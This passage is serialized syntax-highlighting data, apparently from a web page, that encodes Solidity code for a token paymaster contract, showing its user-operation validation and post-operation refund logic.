BasePaymaster",{"type":23,"tag":134,"props":102471,"children":102472},{"style":179},[102473],{"type":28,"value":242},{"type":23,"tag":134,"props":102475,"children":102476},{"style":597},[102477],{"type":28,"value":102478},"UniswapHelper",{"type":23,"tag":134,"props":102480,"children":102481},{"style":179},[102482],{"type":28,"value":242},{"type":23,"tag":134,"props":102484,"children":102485},{"style":597},[102486],{"type":28,"value":102487},"OracleHelper",{"type":23,"tag":134,"props":102489,"children":102490},{"style":179},[102491],{"type":28,"value":463},{"type":23,"tag":134,"props":102493,"children":102494},{"class":136,"line":147},[102495],{"type":23,"tag":134,"props":102496,"children":102497},{"style":179},[102498],{"type":28,"value":9783},{"type":23,"tag":134,"props":102500,"children":102501},{"class":136,"line":185},[102502,102506,102511,102515,102520,102525,102530,102534,102539,102543,102547,102552],{"type":23,"tag":134,"props":102503,"children":102504},{"style":151},[102505],{"type":28,"value":89343},{"type":23,"tag":134,"props":102507,"children":102508},{"style":264},[102509],{"type":28,"value":102510}," _validatePaymasterUserOp",{"type":23,"tag":134,"props":102512,"children":102513},{"style":179},[102514],{"type":28,"value":272},{"type":23,"tag":134,"props":102516,"children":102517},{"style":151},[102518],{"type":28,"value":102519},"PackedUserOperation",{"type":23,"tag":134,"props":102521,"children":102522},{"style":151},[102523],{"type":28,"value":102524}," calldata",{"type":23,"tag":134,"props":102526,"children":102527},{"style":162},[102528],{"type":28,"value":102529}," userOp",{"type":23,"tag":134,"props":102531,"children":102532},{"style":179},[102533],{"type":28,"value":242},{"type":23,"tag":134,"props":102535,"children":102536},{"style":597},[102537],{"type":28,"value":102538},"bytes32",{"type":23,"tag":134,"props":102540,"children":102541},{"style":179},[102542],{"type":28,"value":242},{"type":23,"tag":134,"props":102544,"children":102545},{"style":597},[102546],{"type":28,"value":45672},{"type":23,"tag":134,"props":102548,"children":102549},{"style":162},[102550],{"type":28,"value":102551}," requiredPreFund",{"type":23,"tag":134,"props":102553,"children":102554},{"style":179},[102555],{"type":28,"value":329},{"type":23,"tag":134,"props":102557,"children":102558},{"class":136,"line":221},[102559],{"type":23,"tag":134,"props":102560,"children":102561},{"style":151},[102562],{"type":28,"value":102563},"        internal\n",{"type":23,"tag":134,"props":102565,"children":102566},{"class":136,"line":332},[102567],{"type":23,"tag":134,"props":102568,"children":102569},{"style":151},[102570],{"type":28,"value":102571},"        override\n",{"type":23,"tag":134,"props":102573,"children":102574},{"class":136,"line":438},[102575,102580,102584,102588,102593,102597,102601,102605,102610],{"type":23,"tag":134,"props":102576,"children":102577},{"style":189},[102578],{"type":28,"value":102579},"        returns",{"type":23,"tag":134,"props":102581,"children":102582},{"style":179},[102583],{"type":28,"value":232},{"type":23,"tag":134,"props":102585,"children":102586},{"style":597},[102587],{"type":28,"value":83340},{"type":23,"tag":134,"props":102589,"children":102590},{"style":151},[102591],{"type":28,"value":102592}," memory",{"type":23,"tag":134,"props":102594,"children":102595},{"style":162},[102596],{"type":28,"value":75852},{"type":23,"tag":134,"props":102598,"children":102599},{"style":179},[102600],{"type":28,"value":242},{"type":23,"tag":134,"props":102602,"children":102603},{"style":597},[102604],{"type":28,"value":45672},{"type":23,"tag":134,"props":102606,"children":102607},{"style":162},[102608],{"type":28,"value":102609}," validationResult",{"type":23,"tag":134,"props":102611,"children":102612},{"style":179},[102613],{"type":28,"value":329},{"type":23,"tag":134,"props":102615,"children":102616},{"class":136,"line":466},[102617],{"type":23,"tag":134,"props":102618,"children":102619},{"style":179},[102620],{"type":28,"value":28680},{"type":23,"tag":134,"props":102622,"children":102623},{"class":136,"line":479},[102624,102629],{"type":23,"tag":134,"props":102625,"children":102626},{"style":189},[102627],{"type":28,"value":102628},"        unchecked",{"type":23,"tag":134,"props":102630,"children":102631},{"style":179},[102632],{"type":28,"value":463},{"type":23,"tag":134,"props":102634,"children":102635},{"class":136,"line":497},[102636,102641,102646,102650],{"type":23,"tag":134,"props":102637,"children":102638},{"style":597},[102639],{"type":28,"value":102640},"            uint256",{"type":23,"tag":134,"props":102642,"children":102643},{"style":179},[102644],{"type":28,"value":102645}," priceMarkup ",{"type":23,"tag":134,"props":102647,"children":102648},{"style":168},[102649],{"type":28,"value":257},{"type":23,"tag":134,"props":102651,"children":102652},{"style":179},[102653],{"type":28,"value":102654}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":134,"props":102656,"children":102657},{"class":136,"line":518},[102658,102662,102667,102671],{"type":23,"tag":134,"props":102659,"children":102660},{"style":597},[102661],{"type":28,"value":102640},{"type":23,"tag":134,"props":102663,"children":102664},{"style":179},[102665],{"type":28,"value":102666}," baseFee ",{"type":23,"tag":134,"props":102668,"children":102669},{"style":168},[102670],{"type":28,"value":257},{"type":23,"tag":134,"props":102672,"children":102673},{"style":179},[102674],{"type":28,"value":102675}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":134,"props":102677,"children":102678},{"class":136,"line":527},[102679,102683,102688,102692,102697,102701],{"type":23,"tag":134,"props":102680,"children":102681},{"style":597},[102682],{"type":28,"value":102640},{"type":23,"tag":134,"props":102684,"children":102685},{"style":179},[102686],{"type":28,"value":102687}," dataLength ",{"type":23,"tag":134,"props":102689,"children":102690},{"style":168},[102691],{"type":28,"value":257},{"type":23,"tag":134,"props":102693,"children":102694},{"style":179},[102695],{"type":28,"value":102696}," userOp.paymasterAndData.length ",{"type":23,"tag":134,"props":102698,"children":102699},{"style":168},[102700],{"type":28,"value":1532},{"type":23,"tag":134,"props":102702,"children":102703},{"style":179},[102704],{"type":28,"value":102705}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":134,"props":102707,"children":102708},{"class":136,"line":780},[102709,102714,102719,102723,102727,102731,102735,102739,102744,102748,102753],{"type":23,"tag":134,"props":102710,"children":102711},{"style":189},[102712],{"type":28,"value":102713},"            require",{"type":23,"tag":134,"props":102715,"children":102716},{"style":179},[102717],{"type":28,"value":102718},"(dataLength ",{"type":23,"tag":134,"props":102720,"children":102721},{"style":168},[102722],{"type":28,"value":8035},{"type":23,"tag":134,"props":102724,"children":102725},{"style":205},[102726],{"type":28,"value":208},{"type":23,"tag":134,"props":102728,"children":102729},{"style":168},[102730],{"type":28,"value":23187},{"type":23,"tag":134,"props":102732,"children":102733},{"style":179},[102734],{"type":28,"value":102687},{"type":23,"tag":134,"props":102736,"children":102737},{"style":168},[102738],{"type":28,"value":8035},{"type":23,"tag":134,"props":102740,"children":102741},{"style":205},[102742],{"type":28,"value":102743}," 32",{"type":23,"tag":134,"props":102745,"children":102746},{"style":179},[102747],{"type":28,"value":242},{"type":23,"tag":134,"props":102749,"children":102750},{"style":1461},[102751],{"type":28,"value":102752},"\"TPM: invalid data length\"",{"type":23,"tag":134,"props":102754,"children":102755},{"style":179},[102756],{"type":28,"value":1021},{"type":23,"tag":134,"props":102758,"children":102759},{"class":136,"line":797},[102760,102764,102769,102773,102778,102783],{"type":23,"tag":134,"props":102761,"children":102762},{"style":597},[102763],{"type":28,"value":102640},{"type":23,"tag":134,"props":102765,"children":102766},{"style":179},[102767],{"type":28,"value":102768}," maxFeePerGas ",{"type":23,"tag":134,"props":102770,"children":102771},{"style":168},[102772],{"type":28,"value":257},{"type":23,"tag":134,"props":102774,"children":102775},{"style":179},[102776],{"type":28,"value":102777}," userOp.",{"type":23,"tag":134,"props":102779,"children":102780},{"style":264},[102781],{"type":28,"value":102782},"unpackMaxFeePerGas",{"type":23,"tag":134,"props":102784,"children":102785},{"style":179},[102786],{"type":28,"value":856},{"type":23,"tag":134,"props":102788,"children":102789},{"class":136,"line":814},[102790,102794,102799,102803],{"type":23,"tag":134,"props":102791,"children":102792},{"style":597},[102793],{"type":28,"value":102640},{"type":23,"tag":134,"props":102795,"children":102796},{"style":179},[102797],{"type":28,"value":102798}," refundPostopCost ",{"type":23,"tag":134,"props":102800,"children":102801},{"style":168},[102802],{"type":28,"value":257},{"type":23,"tag":134,"props":102804,"children":102805},{"style":179},[102806],{"type":28,"value":102807}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":134,"props":102809,"children":102810},{"class":136,"line":827},[102811,102815,102820,102824,102828,102833,102837,102842],{"type":23,"tag":134,"props":102812,"children":102813},{"style":189},[102814],{"type":28,"value":102713},{"type":23,"tag":134,"props":102816,"children":102817},{"style":179},[102818],{"type":28,"value":102819},"(refundPostopCost ",{"type":23,"tag":134,"props":102821,"children":102822},{"style":168},[102823],{"type":28,"value":5262},{"type":23,"tag":134,"props":102825,"children":102826},{"style":179},[102827],{"type":28,"value":102777},{"type":23,"tag":134,"props":102829,"children":102830},{"style":264},[102831],{"type":28,"value":102832},"unpackPostOpGasLimit",{"type":23,"tag":134,"props":102834,"children":102835},{"style":179},[102836],{"type":28,"value":17849},{"type":23,"tag":134,"props":102838,"children":102839},{"style":1461},[102840],{"type":28,"value":102841},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":134,"props":102843,"children":102844},{"style":179},[102845],{"type":28,"value":1021},{"type":23,"tag":134,"props":102847,"children":102848},{"class":136,"line":836},[102849,102853,102858,102862,102867,102871,102876,102880],{"type":23,"tag":134,"props":102850,"children":102851},{"style":597},[102852],{"type":28,"value":102640},{"type":23,"tag":134,"props":102854,"children":102855},{"style":179},[102856],{"type":28,"value":102857}," preChargeNative ",{"type":23,"tag":134,"props":102859,"children":102860},{"style":168},[102861],{"type":28,"value":257},{"type":23,"tag":134,"props":102863,"children":102864},{"style":179},[102865],{"type":28,"value":102866}," requiredPreFund ",{"type":23,"tag":134,"props":102868,"children":102869},{"style":168},[102870],{"type":28,"value":1586},{"type":23,"tag":134,"props":102872,"children":102873},{"style":179},[102874],{"type":28,"value":102875}," (refundPostopCost ",{"type":23,"tag":134,"props":102877,"children":102878},{"style":168},[102879],{"type":28,"value":1777},{"type":23,"tag":134,"props":102881,"children":102882},{"style":179},[102883],{"type":28,"value":102884}," maxFeePerGas);\n",{"type":23,"tag":134,"props":102886,"children":102887},{"class":136,"line":859},[102888,102893,102897],{"type":23,"tag":134,"props":102889,"children":102890},{"style":141},[102891],{"type":28,"value":102892},"            // ",{"type":23,"tag":134,"props":102894,"children":102895},{"style":151},[102896],{"type":28,"value":66268},{"type":23,"tag":134,"props":102898,"children":102899},{"style":141},[102900],{"type":28,"value":102901},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":134,"props":102903,"children":102904},{"class":136,"line":868},[102905,102909,102914,102918,102923,102927,102932,102936],{"type":23,"tag":134,"props":102906,"children":102907},{"style":597},[102908],{"type":28,"value":102640},{"type":23,"tag":134,"props":102910,"children":102911},{"style":179},[102912],{"type":28,"value":102913}," cachedPriceWithMarkup ",{"type":23,"tag":134,"props":102915,"children":102916},{"style":168},[102917],{"type":28,"value":257},{"type":23,"tag":134,"props":102919,"children":102920},{"style":179},[102921],{"type":28,"value":102922}," cachedPrice ",{"type":23,"tag":134,"props":102924,"children":102925},{"style":168},[102926],{"type":28,"value":1777},{"type":23,"tag":134,"props":102928,"children":102929},{"style":179},[102930],{"type":28,"value":102931}," DENOM ",{"type":23,"tag":134,"props":102933,"children":102934},{"style":168},[102935],{"type":28,"value":1787},{"type":23,"tag":134,"props":102937,"children":102938},{"style":179},[102939],{"type":28,"value":102940}," priceMarkup;\n",{"type":23,"tag":134,"props":102942,"children":102943},{"class":136,"line":877},[102944,102948,102953,102957,102961],{"type":23,"tag":134,"props":102945,"children":102946},{"style":189},[102947],{"type":28,"value":58308},{"type":23,"tag":134,"props":102949,"children":102950},{"style":179},[102951],{"type":28,"value":102952}," (dataLength ",{"type":23,"tag":134,"props":102954,"children":102955},{"style":168},[102956],{"type":28,"value":8035},{"type":23,"tag":134,"props":102958,"children":102959},{"style":205},[102960],{"type":28,"value":102743},{"type":23,"tag":134,"props":102962,"children":102963},{"style":179},[102964],{"type":28,"value":14272},{"type":23,"tag":134,"props":102966,"children":102967},{"class":136,"line":946},[102968,102973,102978],{"type":23,"tag":134,"props":102969,"children":102970},{"style":597},[102971],{"type":28,"value":102972},"                uint256",{"type":23,"tag":134,"props":102974,"children":102975},{"style":179},[102976],{"type":28,"value":102977}," clientSuppliedPrice ",{"type":23,"tag":134,"props":102979,"children":102980},{"style":168},[102981],{"type":28,"value":14161},{"type":23,"tag":134,"props":102983,"children":102984},{"class":136,"line":954},[102985,102990,102994,102998,103003,103007,103012,103016,103020],{"type":23,"tag":134,"props":102986,"children":102987},{"style":597},[102988],{"type":28,"value":102989},"                    uint256",{"type":23,"tag":134,"props":102991,"children":102992},{"style":179},[102993],{"type":28,"value":272},{"type":23,"tag":134,"props":102995,"children":102996},{"style":597},[102997],{"type":28,"value":102538},{"type":23,"tag":134,"props":102999,"children":103000},{"style":179},[103001],{"type":28,"value":103002},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":134,"props":103004,"children":103005},{"style":168},[103006],{"type":28,"value":1697},{"type":23,"tag":134,"props":103008,"children":103009},{"style":179},[103010],{"type":28,"value":103011},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":134,"props":103013,"children":103014},{"style":168},[103015],{"type":28,"value":1586},{"type":23,"tag":134,"props":103017,"children":103018},{"style":205},[103019],{"type":28,"value":102743},{"type":23,"tag":134,"props":103021,"children":103022},{"style":179},[103023],{"type":28,"value":103024},"]));\n",{"type":23,"tag":134,"props":103026,"children":103027},{"class":136,"line":984},[103028,103033,103038,103042],{"type":23,"tag":134,"props":103029,"children":103030},{"style":189},[103031],{"type":28,"value":103032},"                if",{"type":23,"tag":134,"props":103034,"children":103035},{"style":179},[103036],{"type":28,"value":103037}," (clientSuppliedPrice ",{"type":23,"tag":134,"props":103039,"children":103040},{"style":168},[103041],{"type":28,"value":5262},{"type":23,"tag":134,"props":103043,"children":103044},{"style":179},[103045],{"type":28,"value":103046}," cachedPriceWithMarkup) {\n",{"type":23,"tag":134,"props":103048,"children":103049},{"class":136,"line":992},[103050,103055,103059],{"type":23,"tag":134,"props":103051,"children":103052},{"style":141},[103053],{"type":28,"value":103054},"                    // ",{"type":23,"tag":134,"props":103056,"children":103057},{"style":151},[103058],{"type":28,"value":66268},{"type":23,"tag":134,"props":103060,"children":103061},{"style":141},[103062],{"type":28,"value":103063},": smaller number means 'more native asset per token'\n",{"type":23,"tag":134,"props":103065,"children":103066},{"class":136,"line":1024},[103067,103072,103076],{"type":23,"tag":134,"props":103068,"children":103069},{"style":179},[103070],{"type":28,"value":103071},"                    cachedPriceWithMarkup ",{"type":23,"tag":134,"props":103073,"children":103074},{"style":168},[103075],{"type":28,"value":257},{"type":23,"tag":134,"props":103077,"children":103078},{"style":179},[103079],{"type":28,"value":103080}," clientSuppliedPrice;\n",{"type":23,"tag":134,"props":103082,"children":103083},{"class":136,"line":1032},[103084],{"type":23,"tag":134,"props":103085,"children":103086},{"style":179},[103087],{"type":28,"value":70581},{"type":23,"tag":134,"props":103089,"children":103090},{"class":136,"line":1092},[103091],{"type":23,"tag":134,"props":103092,"children":103093},{"style":179},[103094],{"type":28,"value":58392},{"type":23,"tag":134,"props":103096,"children":103097},{"class":136,"line":8508},[103098,103102,103107,103111,103116],{"type":23,"tag":134,"props":103099,"children":103100},{"style":597},[103101],{"type":28,"value":102640},{"type":23,"tag":134,"props":103103,"children":103104},{"style":179},[103105],{"type":28,"value":103106}," tokenAmount ",{"type":23,"tag":134,"props":103108,"children":103109},{"style":168},[103110],{"type":28,"value":257},{"type":23,"tag":134,"props":103112,"children":103113},{"style":264},[103114],{"type":28,"value":103115}," weiToToken",{"type":23,"tag":134,"props":103117,"children":103118},{"style":179},[103119],{"type":28,"value":103120},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":134,"props":103122,"children":103123},{"class":136,"line":8526},[103124,103129,103133],{"type":23,"tag":134,"props":103125,"children":103126},{"style":179},[103127],{"type":28,"value":103128},"            tokenAmount ",{"type":23,"tag":134,"props":103130,"children":103131},{"style":168},[103132],{"type":28,"value":67947},{"type":23,"tag":134,"props":103134,"children":103135},{"style":179},[103136],{"type":28,"value":103137}," baseFee;\n",{"type":23,"tag":134,"props":103139,"children":103140},{"class":136,"line":8571},[103141,103146,103151,103156,103160,103164,103168],{"type":23,"tag":134,"props":103142,"children":103143},{"style":179},[103144],{"type":28,"value":103145},"            SafeERC20.",{"type":23,"tag":134,"props":103147,"children":103148},{"style":264},[103149],{"type":28,"value":103150},"safeTransferFrom",{"type":23,"tag":134,"props":103152,"children":103153},{"style":179},[103154],{"type":28,"value":103155},"(token, userOp.sender, ",{"type":23,"tag":134,"props":103157,"children":103158},{"style":597},[103159],{"type":28,"value":32136},{"type":23,"tag":134,"props":103161,"children":103162},{"style":179},[103163],{"type":28,"value":272},{"type":23,"tag":134,"props":103165,"children":103166},{"style":151},[103167],{"type":28,"value":17166},{"type":23,"tag":134,"props":103169,"children":103170},{"style":179},[103171],{"type":28,"value":103172},"), tokenAmount);\n",{"type":23,"tag":134,"props":103174,"children":103175},{"class":136,"line":8677},[103176,103181,103185,103190,103194,103199],{"type":23,"tag":134,"props":103177,"children":103178},{"style":179},[103179],{"type":28,"value":103180},"            context ",{"type":23,"tag":134,"props":103182,"children":103183},{"style":168},[103184],{"type":28,"value":257},{"type":23,"tag":134,"props":103186,"children":103187},{"style":151},[103188],{"type":28,"value":103189}," abi",{"type":23,"tag":134,"props":103191,"children":103192},{"style":179},[103193],{"type":28,"value":720},{"type":23,"tag":134,"props":103195,"children":103196},{"style":264},[103197],{"type":28,"value":103198},"encode",{"type":23,"tag":134,"props":103200,"children":103201},{"style":179},[103202],{"type":28,"value":103203},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":134,"props":103205,"children":103206},{"class":136,"line":22988},[103207,103212],{"type":23,"tag":134,"props":103208,"children":103209},{"style":179},[103210],{"type":28,"value":103211},"            validationResult ",{"type":23,"tag":134,"props":103213,"children":103214},{"style":168},[103215],{"type":28,"value":14161},{"type":23,"tag":134,"props":103217,"children":103218},{"class":136,"line":23023},[103219,103224,103228,103232,103236,103241,103246,103250,103255,103259],{"type":23,"tag":134,"props":103220,"children":103221},{"style":264},[103222],{"type":28,"value":103223},"                _packValidationData",{"type":23,"tag":134,"props":103225,"children":103226},{"style":179},[103227],{"type":28,"value":272},{"type":23,"tag":134,"props":103229,"children":103230},{"style":151},[103231],{"type":28,"value":7634},{"type":23,"tag":134,"props":103233,"children":103234},{"style":179},[103235],{"type":28,"value":242},{"type":23,"tag":134,"props":103237,"children":103238},{"style":597},[103239],{"type":28,"value":103240},"uint48",{"type":23,"tag":134,"props":103242,"children":103243},{"style":179},[103244],{"type":28,"value":103245},"(cachedPriceTimestamp ",{"type":23,"tag":134,"props":103247,"children":103248},{"style":168},[103249],{"type":28,"value":1586},{"type":23,"tag":134,"props":103251,"children":103252},{"style":179},[103253],{"type":28,"value":103254}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":134,"props":103256,"children":103257},{"style":205},[103258],{"type":28,"value":1224},{"type":23,"tag":134,"props":103260,"children":103261},{"style":179},[103262],{"type":28,"value":1021},{"type":23,"tag":134,"props":103264,"children":103265},{"class":136,"line":23031},[103266],{"type":23,"tag":134,"props":103267,"children":103268},{"style":179},[103269],{"type":28,"value":524},{"type":23,"tag":134,"props":103271,"children":103272},{"class":136,"line":23039},[103273],{"type":23,"tag":134,"props":103274,"children":103275},{"style":179},[103276],{"type":28,"value":533},{"type":23,"tag":134,"props":103278,"children":103279},{"class":136,"line":23048},[103280],{"type":23,"tag":134,"props":103281,"children":103282},{"style":179},[103283],{"type":28,"value":9783},{"type":23,"tag":134,"props":103285,"children":103286},{"class":136,"line":23090},[103287,103291,103296,103300,103305,103309,103313,103317,103321,103325,103329,103334,103338,103342,103347],{"type":23,"tag":134,"props":103288,"children":103289},{"style":151},[103290],{"type":28,"value":89343},{"type":23,"tag":134,"props":103292,"children":103293},{"style":264},[103294],{"type":28,"value":103295}," _postOp",{"type":23,"tag":134,"props":103297,"children":103298},{"style":179},[103299],{"type":28,"value":272},{"type":23,"tag":134,"props":103301,"children":103302},{"style":151},[103303],{"type":28,"value":103304},"PostOpMode",{"type":23,"tag":134,"props":103306,"children":103307},{"style":179},[103308],{"type":28,"value":242},{"type":23,"tag":134,"props":103310,"children":103311},{"style":597},[103312],{"type":28,"value":83340},{"type":23,"tag":134,"props":103314,"children":103315},{"style":151},[103316],{"type":28,"value":102524},{"type":23,"tag":134,"props":103318,"children":103319},{"style":162},[103320],{"type":28,"value":75852},{"type":23,"tag":134,"props":103322,"children":103323},{"style":179},[103324],{"type":28,"value":242},{"type":23,"tag":134,"props":103326,"children":103327},{"style":597},[103328],{"type":28,"value":45672},{"type":23,"tag":134,"props":103330,"children":103331},{"style":162},[103332],{"type":28,"value":103333}," actualGasCost",{"type":23,"tag":134,"props":103335,"children":103336},{"style":179},[103337],{"type":28,"value":242},{"type":23,"tag":134,"props":103339,"children":103340},{"style":597},[103341],{"type":28,"value":45672},{"type":23,"tag":134,"props":103343,"children":103344},{"style":162},[103345],{"type":28,"value":103346}," actualUserOpFeePerGas",{"type":23,"tag":134,"props":103348,"children":103349},{"style":179},[103350],{"type":28,"value":329},{"type":23,"tag":134,"props":103352,"children":103353},{"class":136,"line":23123},[103354],{"type":23,"tag":134,"props":103355,"children":103356},{"style":151},[103357],{"type":28,"value":102563},{"type":23,"tag":134,"props":103359,"children":103360},{"class":136,"line":23131},[103361],{"type":23,"tag":134,"props":103362,"children":103363},{"style":151},[103364],{"type":28,"value":102571},{"type":23,"tag":134,"props":103366,"children":103367},{"class":136,"line":23139},[103368],{"type":23,"tag":134,"props":103369,"children":103370},{"style":179},[103371],{"type":28,"value":28680},{"type":23,"tag":134,"props":103373,"children":103374},{"class":136,"line":23148},[103375,103379],{"type":23,"tag":134,"props":103376,"children":103377},{"style":189},[103378],{"type":28,"value":102628},{"type":23,"tag":134,"props":103380,"children":103381},{"style":179},[103382],{"type":28,"value":463},{"type":23,"tag":134,"props":103384,"children":103385},{"class":136,"line":23224},[103386,103390,103394,103398],{"type":23,"tag":134,"props":103387,"children":103388},{"style":597},[103389],{"type":28,"value":102640},{"type":23,"tag":134,"props":103391,"children":103392},{"style":179},[103393],{"type":28,"value":102645},{"type":23,"tag":134,"props":103395,"children":103396},{"style":168},[103397],{"type":28,"value":257},{"type":23,"tag":134,"props":103399,"children":103400},{"style":179},[103401],{"type":28,"value":102654},{"type":23,"tag":134,"props":103403,"children":103404},{"class":136,"line":23257},[103405,103409,103413,103417],{"type":23,"tag":134,"props":103406,"children":103407},{"style":597},[103408],{"type":28,"value":102640},{"type":23,"tag":134,"props":103410,"children":103411},{"style":179},[103412],{"type":28,"value":102666},{"type":23,"tag":134,"props":103414,"children":103415},{"style":168},[103416],{"type":28,"value":257},{"type":23,"tag":134,"props":103418,"children":103419},{"style":179},[103420],{"type":28,"value":102675},{"type":23,"tag":134,"props":103422,"children":103423},{"class":136,"line":23265},[103424,103429,103433,103438,103442,103447,103451,103455,103459,103464,103469,103473,103477,103481],{"type":23,"tag":134,"props":103425,"children":103426},{"style":179},[103427],{"type":28,"value":103428},"            (",{"type":23,"tag":134,"props":103430,"children":103431},{"style":597},[103432],{"type":28,"value":45672},{"type":23,"tag":134,"props":103434,"children":103435},{"style":179},[103436],{"type":28,"value":103437}," preCharge, ",{"type":23,"tag":134,"props":103439,"children":103440},{"style":597},[103441],{"type":28,"value":32136},{"type":23,"tag":134,"props":103443,"children":103444},{"style":179},[103445],{"type":28,"value":103446}," userOpSender) ",{"type":23,"tag":134,"props":103448,"children":103449},{"style":168},[103450],{"type":28,"value":257},{"type":23,"tag":134,"props":103452,"children":103453},{"style":151},[103454],{"type":28,"value":103189},{"type":23,"tag":134,"props":103456,"children":103457},{"style":179},[103458],{"type":28,"value":720},{"type":23,"tag":134,"props":103460,"children":103461},{"style":264},[103462],{"type":28,"value":103463},"decode",{"type":23,"tag":134,"props":103465,"children":103466},{"style":179},[103467],{"type":28,"value":103468},"(context, (",{"type":23,"tag":134,"props":103470,"children":103471},{"style":597},[103472],{"type":28,"value":45672},{"type":23,"tag":134,"props":103474,"children":103475},{"style":179},[103476],{"type":28,"value":242},{"type":23,"tag":134,"props":103478,"children":103479},{"style":597},[103480],{"type":28,"value":32136},{"type":23,"tag":134,"props":103482,"children":103483},{"style":179},[103484],{"type":28,"value":6681},{"type":23,"tag":134,"props":103486,"children":103487},{"class":136,"line":23273},[103488,103493,103498,103503],{"type":23,"tag":134,"props":103489,"children":103490},{"style":179},[103491],{"type":28,"value":103492},"            preCharge ",{"type":23,"tag":134,"props":103494,"children":103495},{"style":168},[103496],{"type":28,"value":103497},"-=",{"type":23,"tag":134,"props":103499,"children":103500},{"style":179},[103501],{"type":28,"value":103502}," baseFee; ",{"type":23,"tag":134,"props":103504,"children":103505},{"style":141},[103506],{"type":28,"value":103507},"// don't refund the base fee\n",{"type":23,"tag":134,"props":103509,"children":103510},{"class":136,"line":23310},[103511,103515,103520,103524,103529,103533,103537],{"type":23,"tag":134,"props":103512,"children":103513},{"style":597},[103514],{"type":28,"value":102640},{"type":23,"tag":134,"props":103516,"children":103517},{"style":179},[103518],{"type":28,"value":103519}," _cachedPrice ",{"type":23,"tag":134,"props":103521,"children":103522},{"style":168},[103523],{"type":28,"value":257},{"type":23,"tag":134,"props":103525,"children":103526},{"style":264},[103527],{"type":28,"value":103528}," updateCachedPrice",{"type":23,"tag":134,"props":103530,"children":103531},{"style":179},[103532],{"type":28,"value":272},{"type":23,"tag":134,"props":103534,"children":103535},{"style":151},[103536],{"type":28,"value":7634},{"type":23,"tag":134,"props":103538,"children":103539},{"style":179},[103540],{"type":28,"value":1021},{"type":23,"tag":134,"props":103542,"children":103543},{"class":136,"line":23323},[103544,103548,103552],{"type":23,"tag":134,"props":103545,"children":103546},{"style":141},[103547],{"type":28,"value":102892},{"type":23,"tag":134,"props":103549,"children":103550},{"style":151},[103551],{"type":28,"value":66268},{"type":23,"tag":134,"props":103553,"children":103554},{"style":141},[103555],{"type":28,"value":102901},{"type":23,"tag":134,"props":103557,"children":103558},{"class":136,"line":23336},[103559,103563,103567,103571,103575,103579,103583,103587],{"type":23,"tag":134,"props":103560,"children":103561},{"style":597},[103562],{"type":28,"value":102640},{"type":23,"tag":134,"props":103564,"children":103565},{"style":179},[103566],{"type":28,"value":102913},{"type":23,"tag":134,"props":103568,"children":103569},{"style":168},[103570],{"type":28,"value":257},{"type":23,"tag":134,"props":103572,"children":103573},{"style":179},[103574],{"type":28,"value":103519},{"type":23,"tag":134,"props":103576,"children":103577},{"style":168},[103578],{"type":28,"value":1777},{"type":23,"tag":134,"props":103580,"children":103581},{"style":179},[103582],{"type":28,"value":102931},{"type":23,"tag":134,"props":103584,"children":103585},{"style":168},[103586],{"type":28,"value":1787},{"type":23,"tag":134,"props":103588,"children":103589},{"style":179},[103590],{"type":28,"value":102940},{"type":23,"tag":134,"props":103592,"children":103593},{"class":136,"line":23349},[103594],{"type":23,"tag":134,"props":103595,"children":103596},{"style":141},[103597],{"type":28,"value":103598},"            // Refund tokens based on actual gas cost\n",{"type":23,"tag":134,"props":103600,"children":103601},{"class":136,"line":23403},[103602,103606,103611,103615,103620,103624,103629,103633],{"type":23,"tag":134,"props":103603,"children":103604},{"style":597},[103605],{"type":28,"value":102640},{"type":23,"tag":134,"props":103607,"children":103608},{"style":179},[103609],{"type":28,"value":103610}," actualChargeNative ",{"type":23,"tag":134,"props":103612,"children":103613},{"style":168},[103614],{"type":28,"value":257},{"type":23,"tag":134,"props":103616,"children":103617},{"style":179},[103618],{"type":28,"value":103619}," actualGasCost ",{"type":23,"tag":134,"props":103621,"children":103622},{"style":168},[103623],{"type":28,"value":1586},{"type":23,"tag":134,"props":103625,"children":103626},{"style":179},[103627],{"type":28,"value":103628}," tokenPaymasterConfig.refundPostopCost ",{"type":23,"tag":134,"props":103630,"children":103631},{"style":168},[103632],{"type":28,"value":1777},{"type":23,"tag":134,"props":103634,"children":103635},{"style":179},[103636],{"type":28,"value":103637}," actualUserOpFeePerGas;\n",{"type":23,"tag":134,"props":103639,"children":103640},{"class":136,"line":23412},[103641,103645,103650,103654,103658],{"type":23,"tag":134,"props":103642,"children":103643},{"style":597},[103644],{"type":28,"value":102640},{"type":23,"tag":134,"props":103646,"children":103647},{"style":179},[103648],{"type":28,"value":103649}," actualTokenNeeded ",{"type":23,"tag":134,"props":103651,"children":103652},{"style":168},[103653],{"type":28,"value":257},{"type":23,"tag":134,"props":103655,"children":103656},{"style":264},[103657],{"type":28,"value":103115},{"type":23,"tag":134,"props":103659,"children":103660},{"style":179},[103661],{"type":28,"value":103662},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":134,"props":103664,"children":103665},{"class":136,"line":31776},[103666,103670,103675,103679],{"type":23,"tag":134,"props":103667,"children":103668},{"style":189},[103669],{"type":28,"value":58308},{"type":23,"tag":134,"props":103671,"children":103672},{"style":179},[103673],{"type":28,"value":103674}," (preCharge ",{"type":23,"tag":134,"props":103676,"children":103677},{"style":168},[103678],{"type":28,"value":9927},{"type":23,"tag":134,"props":103680,"children":103681},{"style":179},[103682],{"type":28,"value":103683}," actualTokenNeeded) {\n",{"type":23,"tag":134,"props":103685,"children":103686},{"class":136,"line":31797},[103687],{"type":23,"tag":134,"props":103688,"children":103689},{"style":141},[103690],{"type":28,"value":103691},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":23,"tag":134,"props":103693,"children":103694},{"class":136,"line":80463},[103695,103700,103705,103710,103714],{"type":23,"tag":134,"props":103696,"children":103697},{"style":179},[103698],{"type":28,"value":103699},"                